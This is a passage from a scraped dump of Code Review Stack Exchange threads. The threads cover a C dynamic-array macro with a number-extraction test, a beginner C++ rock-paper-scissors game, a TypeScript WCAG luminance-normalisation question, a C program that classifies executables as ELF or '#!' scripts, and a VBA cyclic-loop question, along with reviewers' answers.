\ c0 = a-&gt;capacity; \ } else { /* Idle. */ \ if(!min_capacity) return 1; \ c0 = 1; \ } \ if(min_capacity &gt; max_size) return errno = ERANGE, 0; \ /* `c_n = a1.625^n`, approximation golden ratio `\phi ~ 1.618`. */ \ while(c0 &lt; min_capacity) { \ size_t c1 = c0 + (c0 &gt;&gt; 1) + (c0 &gt;&gt; 3) + 1; \ if(c0 &gt; c1) { c0 = max_size; break; } \ c0 = c1; \ } \ if(!(data = realloc(a-&gt;data, sizeof *a-&gt;data * c0))) \ { if(!errno) errno = ERANGE; return 0; } \ a-&gt;data = data, a-&gt;capacity = c0; \ return 1; \ } \ /** Makes sure that there are at least `buffer` contiguous, un-initialised, elements at the back of `a`. @return A pointer to the start of `buffer` elements, namely `a.data + a.size`. If `a` is idle and `buffer` is zero, a null pointer is returned, otherwise null indicates an error and `errno` will be set. @throws[realloc, ERANGE] */ \ static type *name##_array_buffer(struct name##_array *const a, \ const size_t buffer) { \ assert(a); \ if(a-&gt;size &gt; (size_t)-1 - buffer) \ { errno = ERANGE; return 0; } /* Unlikely. */ \ if(!name##_array_reserve(a, a-&gt;size + buffer)) return 0; \ return a-&gt;data ? a-&gt;data + a-&gt;size : 0; \ } \ /** Adds `n` to the size of `a`; `n` must be smaller than or equal to the highest remaining buffer value set by &lt;fn:&lt;name&gt;_array_buffer&gt;. */ \ static void name##_array_emplace(struct name##_array *const a, \ const size_t n) { \ assert(a &amp;&amp; a-&gt;capacity &gt;= a-&gt;size &amp;&amp; n &lt;= a-&gt;capacity - a-&gt;size); \ a-&gt;size += n; \ } \ /** @return Push back a new un-initialized datum of `a`. @throws[realloc, ERANGE] */ \ static type *name##_array_new(struct name##_array *const a) { \ type *const data = name##_array_buffer(a, 1); \ return data ? name##_array_emplace(a, 1), data : 0; \ } \ /* It's perfectly valid that these functions are not used. */ \ static void name##_unused_coda(void); static void name##_unused(void) { \ name##_array(0); name##_array_new(0); name##_unused_coda(); } \ static void name##_unused_coda(void) { name##_unused(); } </code></pre> <p>Use of <code>min_array.h</code> to buffer a stream and extract information therefrom; in this case, numbers. This uses one-pass and expands the buffer as needed. Since the entrire <code>FILE</code> is going to be copied into memory, I used <code>fread</code> instead of going line-by-line.</p> <pre><code>/** This is a test for `min_array.h`: takes an arbitrary stream, (Cntl-d stops in some implementations of interactive terminals,) and greedily extracts integers in the style of `strtol` until it gets to the end-of-file or a null-terminator. */ #include &lt;stdlib.h&gt; /* size_t EXIT_ strtol */ #include &lt;stdio.h&gt; /* FILE fopen fclose fread [f]printf ferror perror */ #include &lt;errno.h&gt; /* errno */ #include &lt;ctype.h&gt; /* isdigit */ #include &lt;limits.h&gt; /* LONG_ INT_ _MIN _MAX */ #include &lt;assert.h&gt; /* assert */ #include &quot;min_array.h&quot; struct num { size_t line; int num; }; MIN_ARRAY(char, char) MIN_ARRAY(num, struct num) /** Reads the contents of `fp` after the file pointer and copies them to `string`; adds a null-terminator. @return Success, otherwise `string` may have read a partial read and may not be terminated. @throws[fread, malloc] */ static int fp_to_str(FILE *const fp, struct char_array *const string) { const size_t granularity = 1024; size_t nread; char *cursor; assert(fp &amp;&amp; string); do { if(!(cursor = char_array_buffer(string, granularity))) return 0; char_array_emplace(string, nread = fread(cursor, 1, granularity, fp)); } while(nread == granularity); assert(nread &lt; granularity); if(ferror(fp) || !(cursor = char_array_new(string))) return 0; *cursor = '\0'; return 1; } /** Stores the entire stream and then stores the extracted `int` numbers. */ int main(void) { int success = EXIT_FAILURE; struct char_array str = MIN_ARRAY_IDLE; struct num_array nums = MIN_ARRAY_IDLE; struct num *num; long big_num; char *a, *anum = 0; size_t i, line = 1 /* Unix: delimited by '\n'. */; errno = 0; /* In case we are running it as part of another editor. */ if(!fp_to_str(stdin, &amp;str)) goto catch; /* It would be conceivable use the length to continue past the first sentinel '\0', but not that complex. */ fprintf(stderr, &quot;Read:\n&lt;&lt;&lt;%s&gt;&gt;&gt;\n&quot;, str.data); for(a = str.data; a = strpbrk(a, &quot;-0123456789\n&quot;); ) { if(*a == '\n') { line++; a++; continue; } if(*a == '-') { anum = a++; continue; } if(!anum || anum != a - 1) anum = a; /* Wasn't negative. */ big_num = strtol(anum, &amp;a, 0); if((!big_num || big_num == LONG_MIN || big_num == LONG_MAX) &amp;&amp; errno) goto catch; /* Long conversion failed, (not all platforms.) */ if(big_num &lt; INT_MIN || big_num &gt; INT_MAX) { errno = ERANGE; goto catch; } if(!(num = num_array_new(&amp;nums))) goto catch; num-&gt;line = line; num-&gt;num = (int)big_num; } fprintf(stderr, &quot;Extracted:\n&quot;); for(i = 0; i &lt; nums.size; i++) printf(&quot;Line %lu: %d\n&quot;, (unsigned long)nums.data[i].line, nums.data[i].num); success = EXIT_SUCCESS; goto finally; catch: fprintf(stderr, &quot;Line %lu &quot;, (unsigned long)line), perror(&quot;stdin&quot;); finally: char_array_(&amp;str); num_array_(&amp;nums); return success; } </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T23:13:07.010", "Id": "257492", "Score": "0", "Tags": [ "c", "file", "vectors", "c89" ], "Title": "Extracting integers from arbitrary text and storing them in a dynamic array" }
257492
<p>Here is the RPS game I made. I watched a 4 hour tutorial about C++ from freecodeacademy and produced this game right after it. If you have any feedback or suggestions please let me know. Or if there's anything I should be aware of or shouldn't be doing that would be great.</p> <pre><code>#include &lt;iostream&gt; #include &lt;conio.h&gt; #include &lt;time.h&gt; #include &lt;stdlib.h&gt; using namespace std; int rng() { srand(time(NULL)); return rand() % 3 + 1; } int main() { cout &lt;&lt; &quot;Hello, please enter a username!&quot; &lt;&lt; endl; string userName; cin &gt;&gt; userName; cout &lt;&lt; userName &lt;&lt; &quot; how many rounds of Rock Paper Scissors would you like to play?&quot; &lt;&lt; endl; int rounds; cin &gt;&gt; rounds; int preRound = 0; int userScore = 0; int computerScore = 0; int tie = 0; while (preRound != rounds) { cout &lt;&lt; &quot;Please make a selection!&quot; &lt;&lt; endl; cout &lt;&lt; &quot;1.) Rock &quot; &lt;&lt; endl; cout &lt;&lt; &quot;2.) Paper &quot; &lt;&lt; endl; cout &lt;&lt; &quot;3.) Scissors &quot; &lt;&lt; endl; int userChoice; cin &gt;&gt; userChoice; int computerChoice = rng(); switch (userChoice) { case 1: cout &lt;&lt; &quot;*You chose Rock*&quot; &lt;&lt; endl; cout &lt;&lt; endl; break; case 2: cout &lt;&lt; &quot;*You chose Paper*&quot; &lt;&lt; endl; cout &lt;&lt; endl; break; case 3: cout &lt;&lt; &quot;*You chose Scissors*&quot; &lt;&lt; endl; cout &lt;&lt; endl; break; default: cout &lt;&lt; &quot;**Invalid choice, please try again!**&quot; &lt;&lt; endl; cout &lt;&lt; endl; main(); break; } switch (computerChoice) { case 1: cout &lt;&lt; &quot;|The computer chose Rock|&quot; &lt;&lt; endl; cout &lt;&lt; endl; break; case 2: cout &lt;&lt; &quot;|The computer chose Paper|&quot; &lt;&lt; endl; cout &lt;&lt; endl; break; case 3: cout &lt;&lt; &quot;|The computer chose Scissors|&quot; &lt;&lt; endl; cout &lt;&lt; endl; break; } if (computerChoice == userChoice) { cout &lt;&lt; &quot;The game results in a tie!&quot; &lt;&lt; endl; tie++; cout &lt;&lt; &quot;Your Score = &quot; &lt;&lt; userScore &lt;&lt; endl; cout &lt;&lt; &quot;Computer Score = &quot; &lt;&lt; computerScore &lt;&lt; endl; cout &lt;&lt; &quot;ties = &quot; &lt;&lt; tie &lt;&lt; endl; cout &lt;&lt; &quot;\n&quot;; preRound++; } else if (computerChoice == 1 &amp;&amp; userChoice == 2) { // 1 = Rock, 2 = Paper, 3 = Scissors cout &lt;&lt; userName &lt;&lt; &quot; wins the game!&quot; &lt;&lt; endl; userScore++; cout &lt;&lt; &quot;Your Score = &quot; &lt;&lt; userScore &lt;&lt; endl; cout &lt;&lt; &quot;Computer Score = &quot; &lt;&lt; computerScore &lt;&lt; endl; cout &lt;&lt; &quot;ties = &quot; &lt;&lt; tie &lt;&lt; endl; cout &lt;&lt; &quot;\n&quot;; preRound++; } else if (computerChoice == 3 &amp;&amp; userChoice == 1) { cout &lt;&lt; userName &lt;&lt; &quot; wins the game!&quot; &lt;&lt; endl; userScore++; cout &lt;&lt; &quot;Your Score = &quot; &lt;&lt; userScore &lt;&lt; endl; cout &lt;&lt; &quot;Computer Score = &quot; &lt;&lt; computerScore &lt;&lt; endl; cout &lt;&lt; &quot;ties = &quot; &lt;&lt; tie &lt;&lt; endl; cout &lt;&lt; &quot;\n&quot;; preRound++; } else if (computerChoice == 2 &amp;&amp; userChoice == 3) { cout &lt;&lt; userName &lt;&lt; &quot; wins the game!&quot; &lt;&lt; endl; userScore++; cout &lt;&lt; &quot;Your Score = &quot; &lt;&lt; userScore &lt;&lt; endl; cout &lt;&lt; &quot;Computer Score = &quot; &lt;&lt; computerScore &lt;&lt; endl; cout &lt;&lt; &quot;ties = &quot; &lt;&lt; tie &lt;&lt; endl; cout &lt;&lt; &quot;\n&quot;; preRound++; }//////////////////////////////////////////////// else if (computerChoice == 2 &amp;&amp; userChoice == 1) { cout &lt;&lt; &quot;The computer wins!&quot; &lt;&lt; endl; computerScore++; cout &lt;&lt; &quot;Your Score = &quot; &lt;&lt; userScore &lt;&lt; endl; cout &lt;&lt; &quot;Computer Score = &quot; &lt;&lt; computerScore &lt;&lt; endl; cout &lt;&lt; &quot;ties = &quot; &lt;&lt; tie &lt;&lt; endl; cout &lt;&lt; &quot;\n&quot;; preRound++; } else if (computerChoice == 1 &amp;&amp; userChoice == 3) { cout &lt;&lt; &quot;The computer wins!&quot; &lt;&lt; endl; computerScore++; cout &lt;&lt; &quot;Your Score = &quot; &lt;&lt; userScore &lt;&lt; endl; cout &lt;&lt; &quot;Computer Score = &quot; &lt;&lt; computerScore &lt;&lt; endl; cout &lt;&lt; &quot;ties = &quot; &lt;&lt; tie &lt;&lt; endl; cout &lt;&lt; &quot;\n&quot;; preRound++; } else if (computerChoice == 3 &amp;&amp; userChoice == 2) { cout &lt;&lt; &quot;The computer wins!&quot; &lt;&lt; endl; computerScore++; cout &lt;&lt; &quot;Your Score = &quot; &lt;&lt; userScore &lt;&lt; endl; cout &lt;&lt; &quot;Computer Score = &quot; &lt;&lt; computerScore &lt;&lt; endl; cout &lt;&lt; &quot;ties = &quot; &lt;&lt; tie &lt;&lt; endl; cout &lt;&lt; &quot;\n&quot;; preRound++; } } return 0; } </code></pre>
[]
[ { "body": "<h3>Use C++ standard library headers</h3>\n<p>Don't use C headers such as <code>&lt;stdlib.h&gt;</code>, use the equivalent C++ headers like <code>&lt;cstdlib&gt;</code>. You should be using the C++ library functions anyway.</p>\n<h3>Don't rely on transitive includes</h3>\n<p>It happens that <code>&lt;iostream&gt;</code> will include <code>&lt;string&gt;</code> itself in most implementations, which is why you can use <code>string</code> without including <code>&lt;string&gt;</code>. However, you shouldn't rely on this as it's not guaranteed to always work. Include all the headers needed for the components you're using.</p>\n<h3>Never use <code>using namespace std;</code></h3>\n<p>This is a bad idea for a number of reasons. See <a href=\"https://stackoverflow.com/questions/1452721\">this post</a> for an in-depth discussion of why this is the case. Instead, simply prefix all the names that you're using from the <code>std</code> namespace with <code>std::</code>, so write <code>std::string</code> instead of <code>string</code>, etc.</p>\n<h3>Use modern random number generation facilities</h3>\n<p><code>rand</code> is not particularly random. While it may suffice for a simple toy game, you should get out of the habit of using it. You're also doing it a bit incorrectly; see <a href=\"https://stackoverflow.com/questions/7343833/srand-why-call-it-only-once\">this post</a> for what you need to know if you're calling <code>srand</code> and <code>rand</code> one after the other multiple times.</p>\n<p>Instead of using <code>rand</code>, you should use the tools in the <a href=\"https://en.cppreference.com/w/cpp/numeric/random\" rel=\"nofollow noreferrer\"><code>&lt;random&gt;</code>header</a>. The separation into a generator, and a distribution might seem like more work, but is absolutely crucial in order to implement randomness well.</p>\n<h3>Don't use <code>cin &gt;&gt; userName;</code> to read in names</h3>\n<p><code>std::cin</code> will only read in strings up to the first whitespace. This means the program won't work if someone puts in their full name. Instead, use <a href=\"https://en.cppreference.com/w/cpp/string/basic_string/getline\" rel=\"nofollow noreferrer\">std::getline</a> which by default will read in all the characters until the user presses enter.</p>\n<pre><code>std::getline(std::cin, userName);\n</code></pre>\n<h3>Refactor your code into functions</h3>\n<p>The goal should be to have every function do exactly one thing, and it shouldn't be too long. There's no exact size of function that you need to go for, you'll get a sense of what is a reasonable level of complexity for a function with practice. At the moment, apart from the <code>rng</code> function, everything is in the <code>main</code> function, which is too much complexity for a single function.</p>\n<p>I'd suggest adding at least 2 more functions. One could be called something like <code>makeChoice</code> which basically contains the code asking the user to make the choice, along with the two <code>switch</code> statements. The second function could be <code>decideWinner</code> which contains the nested if-else statements.</p>\n<h3>Don't repeat code</h3>\n<p>Your nested if-else statements are repeating a lot of code. The clearest example is <code>preRound++;</code> which is executed in <em>every branch</em>. As soon as you see that, you should take that statement out of the if-else blocks and write it only once.</p>\n<p>There are basically 3 options for who wins a particular round, not 7 as you've written. This options are 1. Tie, 2. User wins, 3. Computer wins. Note that this is why the code in branches 2,3, and 4 are the same as each other, as well as the code in branches 5,6, and 7. If you group those checks together, the code would look something like:</p>\n<pre><code>if (computerChoice == userChoice) {\n // ... Tie\n} \nelse if ((computerChoice == 1 &amp;&amp; userChoice == 2)\n or (computerChoice == 3 &amp;&amp; userChoice == 1)\n or (computerChoice == 2 &amp;&amp; userChoice == 3)) {\n // ... User wins\n}\nelse { // nothing to check if code reaches here since computer *must* win :)\n // ... Computer wins \n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-26T06:21:21.833", "Id": "509029", "Score": "0", "body": "It will be much better if you also show your complete code substituting for the OP's." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T03:47:33.643", "Id": "257500", "ParentId": "257494", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T00:56:59.693", "Id": "257494", "Score": "1", "Tags": [ "c++", "beginner" ], "Title": "Single player Rock Paper Scissors game" }
257494
<p>Before I go on with how I tried to do this, some background.</p> <p>WCAG provides a method that computes luminance as part of the <a href="https://www.w3.org/TR/WCAG20-TECHS/G17.html" rel="nofollow noreferrer">contrast ratio computation</a>.</p> <p>What I am trying to do is given a color in RGB space convert it to HSL space and adjust the L value so that it will match the luminance of a another color (in my case I chose <code>#808080</code>).</p> <p>The concept is to make darken/lighten transitions between the colors look more even</p> <p><a href="https://i.stack.imgur.com/BvPBZ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BvPBZ.png" alt="color pallete" /></a></p> <p>Here's my code where I do the computations along with the conversions.</p> <pre><code>// https://www.w3.org/TR/WCAG20-TECHS/G17.html /** * RGB Values. Each number is a number between 0.0 to 1.0 */ type Rgb = { r: number; g: number; b: number }; /** * HSL Values. * @property h hue 0 to 360 * @property s saturation 0.0 to 1.0 * @property l luminiance 0.0 to 1.0 */ type Hsl = { h: number; s: number; l: number }; /** * Given a sRGB hex code convert to RGB * @param hex * @returns */ const hexToRgb = (hex: string): Rgb =&gt; { const match = hex .toLowerCase() .match(/^#([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})$/); return { r: parseInt(match![1], 16) / 255.0, g: parseInt(match![2], 16) / 255.0, b: parseInt(match![3], 16) / 255.0, }; }; /** * * @param rgb * @returns */ const rgbToHex = (rgb: Rgb): string =&gt; { return ( &quot;#&quot; + Math.round(rgb.r * 255.0).toString(16).padStart(2, &quot;0&quot;) + Math.round(rgb.g * 255.0).toString(16).padStart(2, &quot;0&quot;) + Math.round(rgb.b * 255.0).toString(16).padStart(2, &quot;0&quot;) ); }; const luminance = (rgb: Rgb): number =&gt; { const r = rgb.r &lt;= 0.03928 ? rgb.r / 12.92 : Math.pow((rgb.r + 0.055) / 1.055, 2.4); const g = rgb.g &lt;= 0.03928 ? rgb.g / 12.92 : Math.pow((rgb.g + 0.055) / 1.055, 2.4); const b = rgb.b &lt;= 0.03928 ? rgb.b / 12.92 : Math.pow((rgb.b + 0.055) / 1.055, 2.4); return 0.2126 * r + 0.7152 * g + 0.0722 * b; }; const contrastRatio = (c1: Rgb, c2: Rgb): number =&gt; { const l1 = luminance(c1); const l2 = luminance(c2); if (l1 &gt; l2) { return (l1 + 0.05) / (l2 + 0.05); } else { return (l2 + 0.05) / (l1 + 0.05); } }; /** * https://en.wikipedia.org/wiki/HSL_and_HSV#HSL_to_RGB_alternative * @param hsl * @returns */ const hslToRgb = (hsl: Hsl): Rgb =&gt; { const f = (n: number): number =&gt; { const k = (n + hsl.h / 30) % 12; const a = hsl.s * Math.min(hsl.l, 1 - hsl.l); return hsl.l - a * Math.max(-1, Math.min(k - 3, 9 - k, 1)); }; return { r: f(0), g: f(8), b: f(4), }; }; const rgbToHsl = (rgb: Rgb): Hsl =&gt; { // Minimum and Maximum RGB values are used in the HSL calculations const min = Math.min(rgb.r, Math.min(rgb.g, rgb.b)); const max = Math.max(rgb.r, Math.max(rgb.g, rgb.b)); // Calculate the Hue let h; if (max === min) { h = 0; } else if (max === rgb.r) { h = ((60 * (rgb.g - rgb.b)) / (max - min) + 360) % 360; } else if (max === rgb.g) { h = (60 * (rgb.b - rgb.r)) / (max - min) + 120; } else if (max === rgb.b) { h = (60 * (rgb.r - rgb.g)) / (max - min) + 240; } else { throw &quot;unexpected&quot;; } // Calculate the Luminance const l = (max + min) / 2; // Calculate the Saturation let s: number; if (max == min) { s = 0; } else if (l &lt;= 0.5) { s = (max - min) / (max + min); } else { s = (max - min) / (2 - max - min); } return { h, s, l }; }; /** * Given an RGB value, find the luminance value for HSL where * the luminance matches that of gray. */ const hslWithIdealLuminance = (rgb: Rgb): Hsl =&gt; { const grayRgb = { r: 0.5, g: 0.5, b: 0.5 }; const grayLuminance = luminance(grayRgb); let delta = 0.1; let currentLuminance = luminance(rgb); const hsl = rgbToHsl(rgb); while (delta &gt; 0.0000001) { console.log(rgbToHex(rgb), currentLuminance, grayLuminance, delta); if (currentLuminance &gt; grayLuminance) { while (currentLuminance &gt; grayLuminance) { hsl.l -= delta; currentLuminance = luminance(hslToRgb(hsl)); } } else { while (currentLuminance &lt; grayLuminance) { hsl.l += delta; currentLuminance = luminance(hslToRgb(hsl)); } } delta /= 10; } return hsl; }; export const luminanceHex = (hex: string): number =&gt; { return luminance(hexToRgb(hex)); }; export const normalizeLuminance = (hex: string): string =&gt; { return rgbToHex(hslToRgb(hslWithIdealLuminance(hexToRgb(hex)))); }; export const contrastRatioHex = (c1:string, c2:string): number =&gt; { return contrastRatio(hexToRgb(c1), hexToRgb(c2)); } </code></pre> <p>The problematic function is <code>hslWithIdealLuminance</code> where I do a search to find the optimal value, I am thinking that there may just be some way to do it in a less brute force fashion. I can probably optimize the loop some more, but I'd rather get rid of it. If I can reduce it to a math function, I can probably covnert this whole logic into SASS.</p>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T05:11:01.300", "Id": "257504", "Score": "0", "Tags": [ "performance", "typescript", "color" ], "Title": "How do I avoid doing a search to compute a \"normalized color\"?" }
257504
<p>I write this program that checks if a file is executable, and if so, to check if it is an ELF binary or a shell script.</p> <pre><code>#include &lt;unistd.h&gt; #include &lt;stdio.h&gt; #include &lt;sys/stat.h&gt; #include &lt;sys/types.h&gt; #include &lt;string.h&gt; int Search_in_File(char *fname, char *str); int main(int argc, char **argv) { if(argc &lt; 2){ printf(&quot;The path to the file is\n&quot;); return 1; } struct stat fileStat; if(stat(argv[1],&amp;fileStat) &lt; 0){ printf(&quot;error\n&quot;); return 1; } if(S_ISREG(fileStat.st_mode)){ if(fileStat.st_mode &amp; (S_IXUSR | S_IXGRP | S_IXOTH)) { printf(&quot;The file is executable &quot;); Search_in_File(argv[1], &quot;#!&quot;); Search_in_File(argv[1], &quot;ELF&quot;); } else { printf(&quot;The file is not executable.\n&quot;); } } else printf(&quot;Not a file\n&quot;); return 0; } int Search_in_File(char *fname, char *str) { FILE *fp; char temp[512]; if((fp = fopen(fname, &quot;r&quot;)) == NULL) { return(-1); } while(fgets(temp, 512, fp) != NULL) { if((strstr(temp, str)) != NULL) { if(strcmp(str, &quot;#!&quot;)==0) printf(&quot;shell type.&quot;); else if(strcmp(str, &quot;ELF&quot;)==0) printf(&quot; ELF.&quot;); } } printf(&quot;\n&quot;); if(fp) { fclose(fp); } return(0); } </code></pre>
[]
[ { "body": "<blockquote>\n<pre><code>if(argc &lt; 2){\n printf(&quot;The path to the file is\\n&quot;);\n return 1;\n}\n</code></pre>\n</blockquote>\n<p>The error message is unfinished (appropriately enough, <code>missing</code> is missing), and it should go to <code>stderr</code>, not <code>stdout</code>.</p>\n<blockquote>\n<pre><code>if(stat(argv[1],&amp;fileStat) &lt; 0){\n printf(&quot;error\\n&quot;);\n return 1;\n}\n</code></pre>\n</blockquote>\n<p>Again we're writing to the wrong stream. And we could make a more informative message, e.g. <code>perror(argv[1])</code>.</p>\n<blockquote>\n<pre><code> Search_in_File(argv[1], &quot;#!&quot;);\n Search_in_File(argv[1], &quot;ELF&quot;);\n</code></pre>\n</blockquote>\n<p>These two calls each open the file to read it. It is probably better to open the file just once. Why do we ignore the return value each time?</p>\n<blockquote>\n<pre><code>while(fgets(temp, 512, fp) != NULL) {\n if((strstr(temp, str)) != NULL) {\n ⋮\n }\n}\n</code></pre>\n</blockquote>\n<p>This code will fail to match when the search string straddles a 512-byte boundary. But why are we searching the whole file anyway? Those magic strings are only meaningful as the first characters, and do not tell us anything if they occur later in the file. We could do this much more simply:</p>\n<pre><code>if (fread(temp, 4, 1, fp) == 1\n &amp;&amp; strncmp(temp, str, strlen(str)) == 0) {\n ⋮\n}\n</code></pre>\n<blockquote>\n<pre><code> if(strcmp(str, &quot;#!&quot;)==0)\n printf(&quot;shell type.&quot;);\n else if(strcmp(str, &quot;ELF&quot;)==0)\n printf(&quot; ELF.&quot;);\n</code></pre>\n</blockquote>\n<p>Instead of string-matching the <code>str</code> argument, why not just pass an additional argument specifying the string to print? Then there's only one place to modify when you add a new test.</p>\n<blockquote>\n<pre><code>if(fp) {\n fclose(fp);\n}\n</code></pre>\n</blockquote>\n<p>At this point, we know that <code>fp</code> is non-null, since we already returned if it isn't.</p>\n<p>Oh, and an executable that begins with <code>#!</code> could be any type of interpreted executable (e.g. Python or Sed script), not necessarily a <em>shell</em> script. Not sure whether that's what's intended (is it your description or the program that needs adjusting?).</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T19:58:00.527", "Id": "508697", "Score": "0", "body": "thank you very much, helpful. But can a new solution, another code, another example?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T21:09:34.560", "Id": "508703", "Score": "0", "body": "Yes, you could post your new solution - just ask a new question. I'll look at it if I'm not too busy." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T14:34:37.790", "Id": "257527", "ParentId": "257509", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T08:28:56.623", "Id": "257509", "Score": "1", "Tags": [ "c", "file" ], "Title": "Check type of executable file" }
257509
<p>I have a cycle which goes from -55 to -1, then from 1 to 55 before going back to -55 again. I want to make a loop going from an arbitrary point in this loop to another arbitrary point, but never as far as a full cycle.</p> <p>Since the end value of the counter might be either a larger or smaller than the start value, I initially made the exit condition for the loop that <code>fra</code> equals <code>til</code>.</p> <p>However, I also want to do something when <code>fra = til</code>, so in the end my loop ended up looking like what you can see below, with a helper-variable triggering the exit.</p> <p>I am not all that happy with how this ended up looking though, feeling the logic is a bit clunky. Is there some way to improve the code below?</p> <pre><code>Option Explicit Dim første_økt_anodeskift(1 To 10, 1 To 2) As Long Const farge_anodeskift_1 As Long = 14395790 ' RGB(142, 169, 219) Sub main() Dim syklus As Long syklus = 1 Call legg_inn_verdier Call fargelegg(første_økt_anodeskift(syklus, 1), første_økt_anodeskift(syklus, 2), farge_anodeskift_1) End Sub Private Sub fargelegg(fra, til, farge) Dim exit_on_next As Boolean exit_on_next = False Do ' Do stuff If exit_on_next Then Exit Do fra = fra + 1 If fra = 0 Then fra = 1 ElseIf fra = 56 Then fra = -55 End If If fra = til Then exit_on_next = True Loop While True End Sub Private Sub legg_inn_verdier() første_økt_anodeskift(1, 1) = -11: første_økt_anodeskift(1, 2) = 6 End Sub <span class="math-container">```</span> </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-26T00:38:09.003", "Id": "509021", "Score": "0", "body": "Will the initial value of `fra` ever be positive?" } ]
[ { "body": "<p>Maybe this looks better to you. Encapsulating a loop's contained logic in dedicated single-purpose procedures generally makes a loop easier to read and understand(IMO). In this case, the loop conditions requiring the repeated code to run 'one last time' becomes a little more clear as well.</p>\n<pre><code> Option Explicit\n\n Dim første_økt_anodeskift(1 To 10, 1 To 2) As Long\n\n Const farge_anodeskift_1 As Long = 14395790 ' RGB(142, 169, 219)\n\n Sub main()\n Dim syklus As Long\n \n syklus = 1\n \n Call legg_inn_verdier\n Call fargelegg(første_økt_anodeskift(syklus, 1), første_økt_anodeskift(syklus, 2), farge_anodeskift_1)\n End Sub\n\n Private Sub fargelegg(fra, til, farge)\n Do\n DoStuff fra, til, farge\n \n fra = GetNextFra(fra)\n \n If fra = til Then\n DoStuff fra, til, farge\n Exit Do\n End If\n \n Loop While True\n End Sub\n\n Private Sub legg_inn_verdier()\n første_økt_anodeskift(1, 1) = -11: første_økt_anodeskift(1, 2) = 6\n End Sub\n\n Private Sub DoStuff(fra, til, farge)\n ' Do stuff\n End Sub\n\n Private Function GetNextFra(fra) As Variant\n fra = fra + 1\n \n If fra = 0 Then\n fra = 1\n ElseIf fra = 56 Then\n fra = -55\n End If\n \n GetNextFra = fra\n End Function\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T11:14:46.900", "Id": "508649", "Score": "1", "body": "There's no need for `Call`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T13:44:35.107", "Id": "508667", "Score": "0", "body": "Yeah, I like this approach, thanks for the input :-)" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T11:04:16.907", "Id": "257518", "ParentId": "257510", "Score": "3" } }, { "body": "<p>If I may give you some additional advice. I noticed your identifiers seem to be in Norwegian (?). It is usually recommended to use plain ASCII and even names in English.</p>\n<p>The problem with identifiers: some compilers or interpreters may have problems with non-standard characters. The behavior is not always documented clearly and may be unpredictable. Norwegian (or Danish...) should be OK but I am not sure VBA still supports the full Unicode range. In the context of VBA and Windows the reference is probably the Windows-1252 character set, which should cover most Latin alphabets.</p>\n<p>But if you used variables names in Arabic or Japanese script, I am not sure how the program will react.</p>\n<p>Now the problem with using variable names in your native language is that foreign people will have more difficulty to grasp the logic of your code, because the names are not intuitive to them.</p>\n<p>More and more projects are <strong>teamwork</strong>, they may also evolve into open-source projects and be published on Github. If you are not using English you are limiting the audience of possible adopters and contributors.</p>\n<p>Also, variables that have suffixes like _1 or _2 are poor names. It is a telltale sign that the naming conventions need improvement.</p>\n<p>The second thing I noticed is the lack of <strong>comments</strong>. This is typical VB spaghetti code, it is not easy to follow the stream of execution because of:</p>\n<ul>\n<li>structure, plus calling routines that have loops</li>\n<li>language (the choice of identifiers)</li>\n<li>lack of comments</li>\n</ul>\n<p>All these factors compounded, result in code that is difficult to comprehend for outsiders like us.</p>\n<p><strong>Comments</strong> are very important, not just for reviewers like us but also for colleagues or other people who may have to tweak your code while you are on holiday or after you have left the company. Most importantly, the comments are also for you, because in 6 months you will have forgotten your train of thought, you will have to re-analyze tour own code and wtf you were thinking.</p>\n<p>Simply put, <strong>comments</strong> makes the purpose of your code more clear.</p>\n<p>Also, you should avoid multi-line statements like this:</p>\n<pre><code>første_økt_anodeskift(1, 1) = -11: første_økt_anodeskift(1, 2) = 6\n</code></pre>\n<p>Just have two lines, it's more readable (in spite of not making the intent more clear):</p>\n<pre><code>Private Sub legg_inn_verdier()\n første_økt_anodeskift(1, 1) = -11\n første_økt_anodeskift(1, 2) = 6\nEnd Sub\n</code></pre>\n<p>But notice how the statements are neatly aligned.</p>\n<p>In terms of <strong>performance</strong> and clarity: choose the right data type for variables and return values. That means do not use the Long datatype for short numbers. See <a href=\"https://codereview.stackexchange.com/a/240534/219060\">this post</a> for more discussion on VBA data types.</p>\n<p>The function <code>GetNextFra</code> returns an integer value, so do not declare the function as Variant. Ever. Integer (or Long as per post quoted above) should do.</p>\n<p>This function can be simplified (and it should). If you have a cycle that you want to reset at 55, what you need is a <strong>modulus</strong>. The implementation would be like this (untested):</p>\n<pre><code>Private Function GetNextFra(fra) As Integer\n GetNextFra = (fra mod 55) +1\nEnd Function\n</code></pre>\n<p>What this function does: return fra + 1, unless fra = 55, then we reset the counter to 1. If this is not exactly what you want, you should be able to make adjustments accordingly. Voilà.</p>\n<p>But since this function is now a one-liner, you can as well ditch the function. Copy the one-liner to your program body. Done. You have already simplified code.</p>\n<p>To be honest I don't really understand what your code actually does. If I did then I could maybe suggest some more ideas.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T14:01:17.913", "Id": "508731", "Score": "0", "body": "Thanks for the input. With regards to using longs instead of ints, all ints are converted to longs anyway, so by using longs in the first place you avoid that conversion." }, { "ContentLicense": "CC BY-SA 4.0", 